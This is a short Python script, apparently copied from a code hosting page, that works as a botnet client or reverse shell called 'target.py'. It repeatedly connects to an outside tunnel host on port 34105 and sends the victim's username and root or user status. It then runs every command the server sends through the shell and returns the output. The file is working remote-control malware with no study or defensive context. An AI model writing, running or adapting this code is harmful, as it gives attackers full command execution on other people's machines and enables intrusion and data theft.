43 lines
1.3 KiB
Python
43 lines
1.3 KiB
Python
import socket
|
|
import os
|
|
import sys
|
|
|
|
SERVER_HOST = "jabarzad-34105.portmap.io" # Replace with server IP
|
|
SERVER_PORT = 34105
|
|
|
|
|
|
def connect_to_server(bot_name):
|
|
while True:
|
|
try:
|
|
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
conn.connect((SERVER_HOST, SERVER_PORT))
|
|
|
|
# Send initial bot information to server
|
|
username = os.getlogin()
|
|
privilege = "root" if os.geteuid() == 0 else "user"
|
|
conn.send(f"{bot_name}|{username}|{privilege}".encode())
|
|
|
|
while True:
|
|
command = conn.recv(1024).decode()
|
|
if command.lower() == "exit":
|
|
break
|
|
try:
|
|
output = os.popen(command).read()
|
|
if not output.strip():
|
|
output = "Command executed with no output."
|
|
conn.send(output.encode())
|
|
except Exception as e:
|
|
conn.send(f"Error: {e}".encode())
|
|
conn.close()
|
|
except Exception as e:
|
|
print(f"Connection error: {e}")
|
|
pass
|
|
|
|
|
|
if __name__ == "__main__":
|
|
if len(sys.argv) < 2:
|
|
print("Usage: python3 target.py <bot_name>")
|
|
sys.exit(1)
|
|
bot_name = sys.argv[1]
|
|
connect_to_server(bot_name)
|